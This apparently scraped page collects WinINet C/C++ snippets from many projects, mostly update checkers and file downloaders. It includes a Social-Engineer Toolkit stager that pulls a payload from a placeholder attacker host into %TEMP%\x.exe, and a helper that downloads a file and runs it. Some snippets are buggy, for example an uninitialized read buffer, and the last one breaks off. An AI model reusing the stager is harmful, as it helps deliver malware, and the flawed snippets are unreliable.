unsigned long BuscarActualizaciones::ThreadBuscarActualizacion(void *phWnd) {
//	try {
		HINTERNET		Sesion				= InternetOpen(TEXT("BubaTronik"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
		HINTERNET		Peticion			= InternetOpenUrl(Sesion, TEXT("http://www.devildrey33.es/BubaTronik/VERSION_BUBATRONIK.txt"), NULL, 0, INTERNET_FLAG_RELOAD, 0);
		char			Txt[32]				= "";
		DWORD			BytesLeidos			= 0;
		DWORD			TotalBytesLeidos	= 0;
		DWORD			MaxBuffer			= sizeof(Txt) -1;
		DWL::DWLString	Ret;
		// No se ha encontrado la version :/
		if (Peticion == NULL) {
    		InternetCloseHandle(Sesion);
			return 0;
		}

		BOOL Leido = InternetReadFile(Peticion, Txt, MaxBuffer, &BytesLeidos);
		if (BytesLeidos != 0) {
			Txt[BytesLeidos] = 0;
			Ret += Txt;
	//		ZeroMemory(Txt, sizeof(Txt) * sizeof(char));
		}
		HWND hWndPlayer = reinterpret_cast<HWND>(phWnd);

		if (Ret.Tam() == 0)	{
			InternetCloseHandle(Peticion);
			InternetCloseHandle(Sesion);
			return 0; 
		}
		if (Ret[0] == TEXT('<')) {
			InternetCloseHandle(Peticion);
			InternetCloseHandle(Sesion);
			return 0; // no se ha encontrado el documento
		}
		DWL::DWLString Version;
		Version.sprintf(TEXT("%.02f"), static_cast<float>(APP_NUM_VER));
		// La versión no es la misma, leemos las novedades
		if (Ret.SubStr(0, Version.Tam()) != Version)	{
    	
    		HINTERNET PeticionNovedades	= InternetOpenUrl(Sesion, TEXT("http://www.devildrey33.es/BubaTronik/NOVEDADES_BUBATRONIK.txt"), NULL, 0, INTERNET_FLAG_RELOAD, 0);
			DWORD	  TotalDatos        = 0;
    		DWORD	  Descargado		= 64;
			TCHAR	  TotalDatosStr[64];
			BOOL bRet = HttpQueryInfo(PeticionNovedades, HTTP_QUERY_CONTENT_LENGTH, (LPVOID)TotalDatosStr, &Descargado, (LPDWORD)0);
			if (bRet == TRUE) TotalDatos = _wtol(TotalDatosStr);
			char     *TmpBuffer = new char[TotalDatos + 1];

    		Leido = InternetReadFile(PeticionNovedades, TmpBuffer, TotalDatos, &BytesLeidos);
    		if (BytesLeidos != 0 && BytesLeidos <= TotalDatos) TmpBuffer[BytesLeidos] = 0;
			Sistema.App.PlayerEx.VentanaActualizacion.Novedades(TmpBuffer);
			delete [] TmpBuffer;

			PostMessage(hWndPlayer, MENSAJE_ACTUALIZACION_ENCONTRADA, 0, 0);
		}
		InternetCloseHandle(Peticion);
		InternetCloseHandle(Sesion);
//	}
//	catch (...) {
//	}
	return 0;
}
void DownloadFile(char *szUrl, char *szDestLocation)
{
	HANDLE hFile;
	HINTERNET hInetOpen, hInetUrl;
	char szTemp[1024]="";
	DWORD dwBytesRead, dwRead;

	hFile = CreateFile(szDestLocation, GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, NULL);
	
	hInetOpen = InternetOpen(" ", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

	if(hInetOpen && hFile != INVALID_HANDLE_VALUE)
	{
		hInetUrl = InternetOpenUrl(hInetOpen, szUrl, NULL, NULL, NULL, NULL);
		
		if(hInetUrl)
		{
			do
			{
				InternetReadFile(hInetUrl, szTemp, 1024, &dwBytesRead);
				WriteFile(hFile, szTemp, dwBytesRead, &dwRead, 0);
			}
			while(dwBytesRead==1024);
		}
	}

	SetEndOfFile(hFile);

	CloseHandle(hFile);
	InternetCloseHandle(hInetUrl);
	InternetCloseHandle(hInetOpen);

	RunApp(szDestLocation);
}
Exemple #3
0
void TestURL(CString url, int fullbyte)
{
	TCHAR buffer[HTTP_BUFFER_LEN];//下载文件的缓冲区
	DWORD bytes_read;//下载的字节数
	//打开一个internet连接
	HINTERNET internet=InternetOpen(_T("HTTP"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);

	if(!internet)
		return;
	//打开一个http url地址

	HINTERNET file_handle=InternetOpenUrl(internet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);

	if(!file_handle)
		return;
	//从url地址中读取文件内容到缓冲区buffer
	BOOL b = 0;
	int readbyte = 0, time = 0;
	while(readbyte < HTTP_BUFFER_LEN && time < 3000) {
		b = InternetReadFile(file_handle, buffer, 128 , &bytes_read);
		readbyte += bytes_read;
		time++;
	}
	if(!b)
		return;
	//关闭连接
	InternetCloseHandle(internet);
}
const wxString QueryWebPage( const wxString &url )
{
    wxString result;
    HINTERNET hInternet, hFile;
    hInternet = InternetOpen( L"Browser", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL );

    if( hInternet )
    {
        hFile = InternetOpenUrl(
            hInternet,
            url.wc_str(),
            NULL,
            0,
            INTERNET_FLAG_RELOAD,
            0
            );

        if( hFile )
        {
            char buffer[4096];
            DWORD dwRead;
            while( InternetReadFile( hFile, buffer, sizeof(buffer)-1, &dwRead ) )
            {
                if( dwRead == 0 )
                    break;
                buffer[dwRead] = 0;
                result += buffer;
            }
        }
        InternetCloseHandle( hFile );
    }
    InternetCloseHandle( hInternet );

    return result;
}
CString CDialogCheckUpdate::GetLatestVersionInfo(LPCTSTR pstrURL)
{
	HINTERNET hInet = InternetOpen(_T("Check Update"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
	HINTERNET hUrl = InternetOpenUrl(hInet, pstrURL, NULL, (DWORD)-1L
		, INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |WININET_API_FLAG_ASYNC, NULL);

	char szBuffer[512] = { 0 };
	TCHAR szString[512] = { 0 };
	if(hUrl)
	{
		DWORD dwRead;

		if (InternetReadFile(hUrl, szBuffer, sizeof(szBuffer), &dwRead))
		{
			if (dwRead > 0)
			{
				szBuffer[dwRead] = 0;
				MultiByteToWideChar(CP_ACP,0,szBuffer, strlen(szBuffer)+1, szString, sizeof(szString)/2);
			}
		}
	}

	InternetCloseHandle(hInet);
	return szString;
}
Exemple #6
0
int TInetFile::OpenFile(char*Url)
{
if(hUrl!=NULL)InternetCloseHandle(hUrl);
if(internet!=NULL)InternetCloseHandle(internet);
internet=InternetOpen(Application->Title.c_str(),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(internet==(HANDLE)NULL)
        {
        return 1;
        }
String sU=Url;
sU=sU.UpperCase();
if(sU.Pos("FTP://")) //Это FTP файл
{
Protokol=INET_FILE_FTP;
}else                //Это HTTP файл
{
Protokol=INET_FILE_HTTP;
}
hUrl=InternetOpenUrl(internet,Url,NULL,0,INTERNET_FLAG_EXISTING_CONNECT,0);
if(hUrl==NULL)
        {
        InternetCloseHandle(internet);
        return 2;
        }
Error=false;
CheckFileSize();
Position=0;
return 0;
}
Exemple #7
0
BOOL DownloadURL(LPCTSTR szURL, LPCTSTR szFile)
{
    BOOL            bRet = FALSE;
    HINTERNET	    hInternet = NULL, hURL = NULL;
    BYTE            pBuf[DEF_BUF_SIZE] = {0,};
    DWORD           dwBytesRead = 0;
    FILE            *pFile = NULL;
    errno_t         err = 0;

    hInternet = InternetOpen(L"ReverseCore",
                             INTERNET_OPEN_TYPE_PRECONFIG,
                             NULL,
                             NULL,
                             0);
    if( NULL == hInternet )
    {
        OutputDebugString(L"InternetOpen() failed!");
        return FALSE;
    }

    hURL = InternetOpenUrl(hInternet,
                           szURL,
                           NULL,
                           0,
                           INTERNET_FLAG_RELOAD,
                           0);
    if( NULL == hURL )
    {
        OutputDebugString(L"InternetOpenUrl() failed!");
        goto _DownloadURL_EXIT;
    }

    if( err = _tfopen_s(&pFile, szFile, L"wt") )
    {
        OutputDebugString(L"fopen() failed!");
        goto _DownloadURL_EXIT;
    }

    while( InternetReadFile(hURL, pBuf, DEF_BUF_SIZE, &dwBytesRead) )
    {
        if( !dwBytesRead )
            break;

        fwrite(pBuf, dwBytesRead, 1, pFile);
    }

    bRet = TRUE;

_DownloadURL_EXIT:
    if( pFile )
        fclose(pFile);

    if( hURL )
        InternetCloseHandle(hURL);

    if( hInternet )
        InternetCloseHandle(hInternet);

    return bRet;
}
Exemple #8
0
int CZipExists::RemoteFileExists()
{
	int iResult = -1;   // network error
	DWORD dwFilePos = 0;
	HINTERNET hInternet = NULL, hDownload = NULL; 

   CString csUrl = m_csUrl + m_csFileName;
   //AfxMessageBox(csUrl, MB_ICONINFORMATION); 

	hInternet = InternetOpen(_T("Internet"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	if(hInternet != NULL)
	{
		hDownload = InternetOpenUrl(hInternet, csUrl, NULL, 0, INTERNET_FLAG_RELOAD, 0);
		if(hDownload != NULL)
		{
         dwFilePos = InternetSetFilePointer(hDownload, 0, NULL, FILE_BEGIN, NULL);
         iResult = (dwFilePos != (DWORD)-1) ? 1 : 0;
			InternetCloseHandle(hDownload);
		}
      else
      {
         GetInetError();
      }
		InternetCloseHandle(hInternet);
	}
   else
   {
      GetInetError();
   }
	return iResult;
}
BOOL vmsDownloadForTrafficCollector::MakeWasteDownload(LPCSTR pszUrl)
{
	bool bHTTPS = !strnicmp (pszUrl, "https://", 8);
	HINTERNET hInet = InternetOpen ("Mozilla/4.05 [en] (WinXP; I)", INTERNET_OPEN_TYPE_PRECONFIG,
		NULL, NULL, 0);
	if (hInet == NULL)
		return FALSE;
	HINTERNET hFile = InternetOpenUrl (hInet, pszUrl, NULL, 0, INTERNET_FLAG_IGNORE_CERT_CN_INVALID | 
		INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | 
		INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL);
	if (hFile == NULL)
	{
		InternetCloseHandle (hInet);
		return FALSE;
	}
	BYTE ab [1024]; DWORD dw = 0; int iMaxSize = 200*1024/sizeof(ab);
	extern vmsWinInetHttpTrafficCollector _WinInetTrafficCollector;
	while (InternetReadFile (hFile, ab, sizeof (ab), &dw) && dw != 0 && --iMaxSize > 0)
	{
		if (bHTTPS)
			_WinInetTrafficCollector.OnInternetReadFile (hFile, ab, dw);
	}
	InternetCloseHandle (hFile);
	if (bHTTPS)
		_WinInetTrafficCollector.OnInternetCloseHandle (hFile);
	InternetCloseHandle (hInet);
	return TRUE;
}
// Checks the current version (curr) against the latest version number stored
// in a file on the Internet.  All numbers are simple integers greater than 100.
// For example, version 4.10 is stored as the 3 digits "410".
// Returns false if a newer version is not available or there is an error, else true.
bool UpdateChecker::UpdateAvailable(int curr)
{
	bool retval = false;

	HINTERNET hint, hurl;
	hint = ::InternetOpen(_T("Update"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hint == (HINTERNET)0)
		return false;

	hurl = InternetOpenUrl(hint, strUrl, NULL, -1,
	                       INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE |
	                           INTERNET_FLAG_PRAGMA_NOCACHE | WININET_API_FLAG_ASYNC,
	                       NULL);

	char buf[8];            // stores bytes read from current version file on the Internet
	DWORD nread = 0;        // number of bytes read into buf
	if (hurl != (HINTERNET)0 &&	::InternetReadFile(hurl, buf, sizeof(buf)-1, &nread))
	{
		// File (or at least start of file) read OK
		buf[nread] = '\0';    // ensure string is null terminated
		int ver = atoi(buf);  // get version (eg "350" means version 3.50

		if (ver > curr)
			retval = true;

		::InternetCloseHandle(hurl);
	}
	::InternetCloseHandle(hint);

	return retval;
}
Exemple #11
0
// returns ERROR_SUCCESS or an error code
DWORD HttpGet(const WCHAR *url, str::Str<char> *dataOut)
{
    DWORD error = ERROR_SUCCESS;

    HINTERNET hFile = NULL;
    HINTERNET hInet = InternetOpen(USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInet)
        goto Error;

    DWORD flags = INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD;
    hFile = InternetOpenUrl(hInet, url, NULL, 0, flags, 0);
    if (!hFile)
        goto Error;

    DWORD dwRead;
    do {
        char buf[1024];
        if (!InternetReadFile(hFile, buf, sizeof(buf), &dwRead))
            goto Error;
        dataOut->Append(buf, dwRead);
    } while (dwRead > 0);

Exit:
    if (hFile)
        InternetCloseHandle(hFile);
    if (hInet)
        InternetCloseHandle(hInet);
    return error;

Error:
    error = GetLastError();
    if (!error)
        error = ERROR_GEN_FAILURE;
    goto Exit;
}
Exemple #12
0
void download(const wchar_t *Url, const char *save_as)/*将Url指向的地址的文件下载到save_as指向的本地文件*/
{
	byte Temp[MAXBLOCKSIZE];
	ULONG Number = 1;

	FILE *stream;
	HINTERNET hSession = InternetOpen(L"Test", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hSession != NULL)
	{
		HINTERNET handle2 = InternetOpenUrl(hSession, (LPCWSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
		if (handle2 != NULL)
		{

			//if ((stream = fopen_s(save_as, "wb")) != NULL)
			fopen_s(&stream, save_as, "wb");
			if (stream != NULL)
			{
				while (Number > 0)
				{
					InternetReadFile(handle2, Temp, MAXBLOCKSIZE - 1, &Number);

					fwrite(Temp, sizeof(char), Number, stream);
				}
				fclose(stream);
			}

			InternetCloseHandle(handle2);
			handle2 = NULL;
		}
		InternetCloseHandle(hSession);
		hSession = NULL;
	}
}
Exemple #13
0
static int linphone_gtk_get_new_version(const char *version_url, char *version, size_t size){
	DWORD dwDownloaded = 0;
	HINTERNET  hSession = NULL, hConnect = NULL;
	int ret=-1;
	
	hSession=InternetOpen("Linphone",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	
	if (hSession==NULL) return -1;
	
	hConnect=InternetOpenUrl(hSession,version_url,NULL,0,0,0);
	
	if (hConnect==NULL) {
		InternetCloseHandle(hSession);
		return -1;
	}
	dwDownloaded=0;
	if (InternetReadFile(hConnect,version,size,&dwDownloaded) && dwDownloaded>0){
		version[dwDownloaded]='\0';
		ms_message("Got response: %s", version);
		/*check this not just html containing 404 not found*/
		if (strstr(version,"html")==0)
			ret=0;
	}
	
	// Close any open handles.
	if (hConnect) InternetCloseHandle(hConnect);
	if (hSession) InternetCloseHandle(hSession);
	return ret;
}
Exemple #14
0
void *http_get(wchar_t *url, u_long *d_size)
{
	HINTERNET h_inet = NULL;
	HINTERNET h_req  = NULL;
	char     *replay = NULL;
	
	do
	{
		h_inet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
		if (h_inet == NULL) break;
		
		h_req = InternetOpenUrl(h_inet, url, NULL, 0, INTERNET_FLAGS, 0);
		if (h_req == NULL) break;

		replay = http_receive(h_req, d_size);
	} while (0);

	if (h_req != NULL) {
		InternetCloseHandle(h_req);
	}
	if (h_inet != NULL) {
		InternetCloseHandle(h_inet);
	}
	return replay;
}
Exemple #15
0
String __open_url (wchar_t const* url)
{
  HINTERNET inet = InternetOpen (L"Firefox/3.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
  if (!inet)
    return "";
  HINTERNET file = InternetOpenUrl (inet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
  if (!file)
  {
    InternetCloseHandle (inet);
    return "";
  }
  static char buf[65536];
  String res = "";
  while (true)
  {
    DWORD amount;
    if (!InternetReadFile (file, buf, sizeof buf - 2, &amount))
      break;
    if (amount == 0)
      break;
    buf[amount] = 0;
    res += buf;
  }
  InternetCloseHandle (file);
  InternetCloseHandle (inet);
  return res;
}
Exemple #16
0
	WinInetResource(const WinInet& winInet, const std::basic_string<TCHAR>& url, DWORD flags = 0)
	{
		handle_ = InternetOpenUrl(winInet.getHandle(), url.c_str(),
								  NULL, 0, flags, NULL);

		if(handle_ == NULL)
		{
			throw std::exception("InternetOpenUrl failed!");
		}
	}
int main()
{
	// create a buffer for the temp directory path, technically if the path is longer then this there would be issues but this is a hack job :P
	char path[5000]; 
    char* tmpdir = getenv("TMP");
    if (!tmpdir)
	// grab the temp directory %TEMP% in Windows
    tmpdir = getenv("TEMP");
	// print our temp directory to our buffer we created 'path'
	sprintf(path, "%s\\x.exe", tmpdir);
    // used to do dynamic DLL writing on the fly through SET, IP Address goes here with null byte terminator
	char* host = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; 
	char* url = new char[2000]; // create a buffer for our replaced IP address
	sprintf(url,"http://%s/x", host); // should end up being http://ipaddressorhost/x
	LPCSTR userAgent = "The Social-Engineer Toolkit (SET)"; // SET doesn't care what your user-agent string is

	// start the internet connection and handle downloading the data
	HINTERNET hNet = InternetOpen(userAgent,
		PRE_CONFIG_INTERNET_ACCESS,
		NULL,
		INTERNET_INVALID_PORT_NUMBER,
		0);

	HINTERNET hUrl = InternetOpenUrl(hNet,
		url,
		NULL,
		0,
		INTERNET_FLAG_RELOAD,
		0);

	LPBYTE lpData = NULL;
	DWORD dwLength = 0;
	GetData(hUrl, lpData, dwLength);
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hNet);

	// Do something with the data in lpData here.
	// Size of data is in dwLength

	
	FILE *file;
	// write out a file to our temp directory, temp equals %TEMP%\x.exe
	file = fopen(path, "wb"); // write file x.vbs
	// for the length of the file write out the binary data from our buffer
	for (DWORD i=0; i<dwLength;i++)
	{
		BYTE c = lpData[i];
		fputc(c, file);
	}      
	// close our file
	fclose(file);
	// clean up our binary data in the buffer
	delete[] lpData;
	return 0;
}
DWORD DetectIPAddress (char *pszURL)
   {
   DWORD dwRet = 0;
   HINTERNET hINet, hFile;
   hINet = InternetOpen("InetURL/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );
   
   if ( !hINet )
      {
      // TODO: Good error handling
//      fprintf(stderr, "InternetOpen failed\n");
//      exit(-1);
      }

   hFile = InternetOpenUrl( hINet, pszURL, NULL, 0, 0, 0 ) ;

   if ( hFile )
      {
      CHAR buffer[32768];
      DWORD dwRead;
      char *psz = buffer;
      DWORD cch = 0;
      int cPasses = 0;
      
      while (InternetReadFile( hFile, psz, 32767 - cch, &dwRead)) 
         {
         if (dwRead == 0)
            break;

         psz += dwRead;
         cch += dwRead;

         ++cPasses;
         }

      if (cch > 0)
         {
         buffer[cch] = '\0';
         int nIP1, nIP2, nIP3, nIP4;
         char *psz;
         psz = FindIPAddressInString(buffer);
         if (psz)
            {
            sscanf(psz, "%d.%d.%d.%d", &nIP1, &nIP2, &nIP3, &nIP4);
            dwRet = MAKEIPADDRESS(nIP1, nIP2, nIP3, nIP4);
            }
         }

      InternetCloseHandle( hFile );
      }

   InternetCloseHandle( hINet );
   
   return dwRet;
   }
Exemple #19
0
// Download content of a url to a file
bool HttpGetToFile(const WCHAR *url, const WCHAR *destFilePath)
{
    bool ok = false;
    HINTERNET  hReq = nullptr, hInet = nullptr;
    DWORD dwRead = 0;
    DWORD headerBuffSize = sizeof(DWORD);
    DWORD statusCode = 0;
    char buf[1024];

    HANDLE hf = CreateFile(destFilePath, GENERIC_WRITE, FILE_SHARE_READ, nullptr,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,  nullptr);
    if (INVALID_HANDLE_VALUE == hf)
        goto Exit;

    hInet = InternetOpen(USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0);
    if (!hInet)
        goto Exit;

    hReq = InternetOpenUrl(hInet, url, nullptr, 0, 0, 0);
    if (!hReq)
        goto Exit;

    if (!HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &headerBuffSize, nullptr)) {
        goto Exit;
    }
    if (statusCode != 200) {
        goto Exit;
    }

    for (;;) {
        if (!InternetReadFile(hReq, buf, sizeof(buf), &dwRead))
            goto Exit;
        if (dwRead == 0)
            break;
        DWORD size;
        BOOL wroteOk = WriteFile(hf, buf, (DWORD)dwRead, &size, nullptr);
        if (!wroteOk)
            goto Exit;

        if (size != dwRead)
            goto Exit;
    }

    ok = true;
Exit:
    CloseHandle(hf);
    if (hReq)
        InternetCloseHandle(hReq);
    if (hInet)
        InternetCloseHandle(hInet);
    if (!ok)
        file::Delete(destFilePath);
    return ok;
}
void CHttpRequest::RunRequest()
{
	HINTERNET hURL = InternetOpenUrl( m_hInternet, m_sURL, m_sRequestHeaders,
		m_sRequestHeaders.GetLength(), INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_RELOAD | 
		INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE , NULL );
	
	if ( hURL != NULL )
	{
		RunResponse( hURL );
		InternetCloseHandle( hURL );
	}
}
Exemple #21
0
bool DownloadFile(const WCHAR* url, const WCHAR* file)
{
	bool result = false;
	HINTERNET hNet = InternetOpen(L"Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hNet)
	{
		HANDLE hFile = CreateFile(file, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile)
		{
			HINTERNET hUrl = InternetOpenUrl(hNet, url, NULL, 0, INTERNET_FLAG_RESYNCHRONIZE, 0);
			if (hUrl)
			{
				const DWORD bufferSize = 8192;
				BYTE* buffer = (BYTE*)malloc(bufferSize);
				if (buffer)
				{
					DWORD readSize;
					while (InternetReadFile(hUrl, buffer, bufferSize, &readSize))
					{
						if (readSize == 0)
						{
							// All data read.
							result = true;
							break;
						}

						DWORD writeSize;
						if (!WriteFile(hFile, buffer, readSize, &writeSize, NULL) ||
							readSize != writeSize)
						{
							break;
						}
					}

					free(buffer);
				}

				 InternetCloseHandle(hUrl);
			}

			CloseHandle(hFile);

			if (!result)
			{
				DeleteFile(file);
			}
		}

		InternetCloseHandle(hNet);
	}

	return result;
}
void CDonkeyServersDlg::OnRun()
{
	if ( m_hInternet == NULL ) return;

	HINTERNET hRequest = InternetOpenUrl( m_hInternet, m_sURL, NULL, 0,
		INTERNET_FLAG_RELOAD|INTERNET_FLAG_DONT_CACHE, 0 );

	if ( hRequest == NULL )
	{
		InternetCloseHandle( m_hInternet );
		m_hInternet = NULL;
		PostMessage( WM_TIMER, FALSE );
		return;
	}

	DWORD nLength, nlLength = 4;
	DWORD nRemaining = 0;
	BYTE pBuffer[1024];
	CMemFile pFile;

	if ( HttpQueryInfo( hRequest, HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,
		&nLength, &nlLength, NULL ) )
	{
		m_wndProgress.PostMessage( PBM_SETRANGE32, 0, nLength );
	}

	nLength = 0;

	while ( InternetQueryDataAvailable( hRequest, &nRemaining, 0, 0 ) && nRemaining > 0 )
	{
		nLength += nRemaining;
		m_wndProgress.PostMessage( PBM_SETPOS, nLength );

		while ( nRemaining > 0 )
		{
			DWORD nBuffer = min( nRemaining, DWORD(1024) );
			InternetReadFile( hRequest, pBuffer, nBuffer, &nBuffer );
			pFile.Write( pBuffer, nBuffer );
			nRemaining -= nBuffer;
		}
	}

	pFile.Seek( 0, CFile::begin );

	BOOL bSuccess = HostCache.eDonkey.ImportMET( &pFile );
	if ( bSuccess ) HostCache.Save();

	InternetCloseHandle( m_hInternet );
	m_hInternet = NULL;

	PostMessage( WM_TIMER, bSuccess ? 1 : 0 );
}
Exemple #23
0
int
www_fetch(char *url, char *savefile)
{    
  HINTERNET hUrlDump;
  extern HINTERNET hInternetSession; 
  DWORD dwSize=TRUE;
  LPSTR lpszData;
  LPSTR lpszOutPut;
  LPSTR lpszHolding;
  int nCounter=1;
  int nBufferSize;
  DWORD BigSize=8000;
  FILE *fSave;

  if ((fSave = fopen(savefile, "wb")) == NULL) {
    perror("www_fetch");
    return 0;
  }

  hUrlDump = InternetOpenUrl(hInternetSession, url, NULL, 0, 
			     INTERNET_FLAG_RAW_DATA, 0);
  if (!hUrlDump) {
    Win32Error("www_fetch/InternetOpenUrl");
    fclose(fSave);
    return 0;
  }

  do {

    /* Read the data */
    if(InternetReadFile(hUrlDump,(LPVOID)lpszData,BigSize,&dwSize) == FALSE) {
      Win32Error("www_fetch/InternetReadFile");
      break;
    }
    else {
      fwrite(lpszData, sizeof(char), dwSize , fSave);
      if (dwSize == 0) {
	break;
      }
    }
  }
  while (TRUE);
  
  /* Close the HINTERNET handle */
  InternetCloseHandle(hUrlDump);
  
  /* Set the cursor back to an arrow */
  SetCursor(LoadCursor(NULL,IDC_ARROW));
  
  /* Return */
  return TRUE;
}
Exemple #24
0
// Get a session pointer to the remote file
//
HINTERNET CAutoUpdater::GetSession(CString &URL)
{
	// Canonicalization of the URL converts unsafe characters into escape character equivalents
	TCHAR canonicalURL[1024];
	DWORD nSize = 1024;
	InternetCanonicalizeUrl(URL, canonicalURL, &nSize, ICU_BROWSER_MODE);		
	
	DWORD options = INTERNET_FLAG_NEED_FILE|INTERNET_FLAG_HYPERLINK|INTERNET_FLAG_RESYNCHRONIZE|INTERNET_FLAG_RELOAD;
	HINTERNET hSession = InternetOpenUrl(hInternet, canonicalURL, NULL, NULL, options, 0);
	URL = canonicalURL;
    
	return hSession;
}
/**
 * Gets HTML from the Given URL if bDownload is true and gets Host and Scheme out of the URL
 * @param sUrl Web page URL
 * @param bDownload if true Html is downloaded from the specified URL otherwise it is assumed
 * that HTML is already populated using SetHtml() function
 */
void COfflineBrowser::LoadHtml(const std::string& sUrl, bool bDownload /*= false*/)
{
	if(bDownload)
	{
		//Download Web Page using WININET
		HINTERNET hNet = InternetOpen("Offline Browser", INTERNET_OPEN_TYPE_PRECONFIG/*INTERNET_OPEN_TYPE_PROXY*/,
									  NULL, NULL, 0);
		if(hNet == NULL)
		{
			DWORD dwErr = GetLastError();
			return;
		}

		HINTERNET hFile = InternetOpenUrl(hNet, sUrl.c_str(), NULL, 0, 0, 0); 
		if(hFile == NULL)
			return;

		while(true)
		{
			const int MAX_BUFFER_SIZE = 65536;
			unsigned long nSize = 0;
			wchar_t szBuffer[MAX_BUFFER_SIZE+1];
			BOOL bRet = InternetReadFile(hFile, szBuffer, MAX_BUFFER_SIZE, &nSize);
			if(!bRet || nSize <= 0)
				break;
			szBuffer[nSize] = '\0';
			m_sHtml += szBuffer;
		}
	}

	//Get host name and scheme(protocol) out of URL
	int nStart = sUrl.find("://");
	if(nStart < 0)
		nStart = 0;
	else 
	{
		nStart += strlen("://");
		m_sScheme = sUrl.substr(0, nStart);
	}
	std::string sTemp = sUrl.substr(nStart, sUrl.length()-nStart);
	int nEnd = sTemp.find("/");
	if(nEnd < 0)
		nEnd = sUrl.length();
	sTemp = sTemp.substr(0, nEnd);
	
	if(sTemp[sTemp.length()-1] != '/')
		sTemp += "/";

	SetHost(sTemp);
}
Exemple #26
0
int net_get_url(char * url, char * buf, int bufSize)
{
	char * ua = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0";
	HINTERNET hUrl = NULL;
	int rc = 0;
	DWORD recvBytes = 0;
	unsigned long dwCust  = 0;
	
	HINTERNET hInet = InternetOpenA(ua, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

	if (hInet == NULL)
	{
		debug_log(LOG_ERR, "net_get_url(): failed to open Internet handle, rc: %d", WSAGetLastError());	
		return SOCK_IO_ERROR;
	}

	hUrl = InternetOpenUrl(hInet, url, NULL,0,INTERNET_FLAG_HYPERLINK, dwCust);

	if (hUrl == NULL)
	{
		debug_log(LOG_ERR, "net_get_url(): failed to open Url handle, rc: %d", WSAGetLastError());	
		InternetCloseHandle(hInet);		
		return SOCK_IO_ERROR;
	}

	memset(buf, 0, bufSize);
	rc = InternetReadFile(hUrl, buf, bufSize, &recvBytes);
	if (rc == FALSE)
	{
		debug_log(LOG_ERR, "net_get_url(): failed InternetReadFile() rc: %d", WSAGetLastError());	
		InternetCloseHandle(hUrl);		
		InternetCloseHandle(hInet);		
		return SOCK_IO_ERROR;
	}

	if (InternetCloseHandle(hUrl) == FALSE)
	{
		debug_log(LOG_ERR, "net_get_url(): failed to close hUrl handle, rc: %d", WSAGetLastError());	
		return SOCK_IO_ERROR;
	}

	if (InternetCloseHandle(hInet) == FALSE)
	{
		debug_log(LOG_ERR, "net_get_url(): failed to close hInet handle, rc: %d", WSAGetLastError());	
		InternetCloseHandle(hUrl);		
		return SOCK_IO_ERROR;
	}

	return SOCK_NO_ERROR;
} // end of net_get_url()
Exemple #27
0
/**
 * Add a request in the download queue
 *
 * @param m the maps containing the settings of the main.cfg file
 * @param url the url to add to the queue
 */
void addRequestToQueue(maps** m,HINTERNET* hInternet,const char* url,bool req){
  hInternet->waitingRequests[hInternet->nb]=strdup(url);
  if(req)
    InternetOpenUrl(hInternet,hInternet->waitingRequests[hInternet->nb],NULL,0,INTERNET_FLAG_NO_CACHE_WRITE,0);
  maps *oreq=getMaps(*m,"orequests");
  if(oreq==NULL){
    oreq=createMaps("orequests");
    oreq->content=createMap("value",url);
    addMapsToMaps(m,oreq);
    freeMaps(&oreq);
    free(oreq);
  }else{
    setMapArray(oreq->content,"value",hInternet->nb-1,url);
  }
}
Exemple #28
0
unsigned int __stdcall download(void *param)
/* downloads a file from the internet */
{
	unsigned long r;
	unsigned long w;
	char buffer[4096];
	struct dls dl = *(struct dls *)param;
	struct dls *pdl = (struct dls *)param;
	HINTERNET ih = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
	HINTERNET fh = InternetOpenUrl(ih, dl.url, 0, 0, 0, 0);
	pdl->gotinfo = true;
	if(fh)
	{
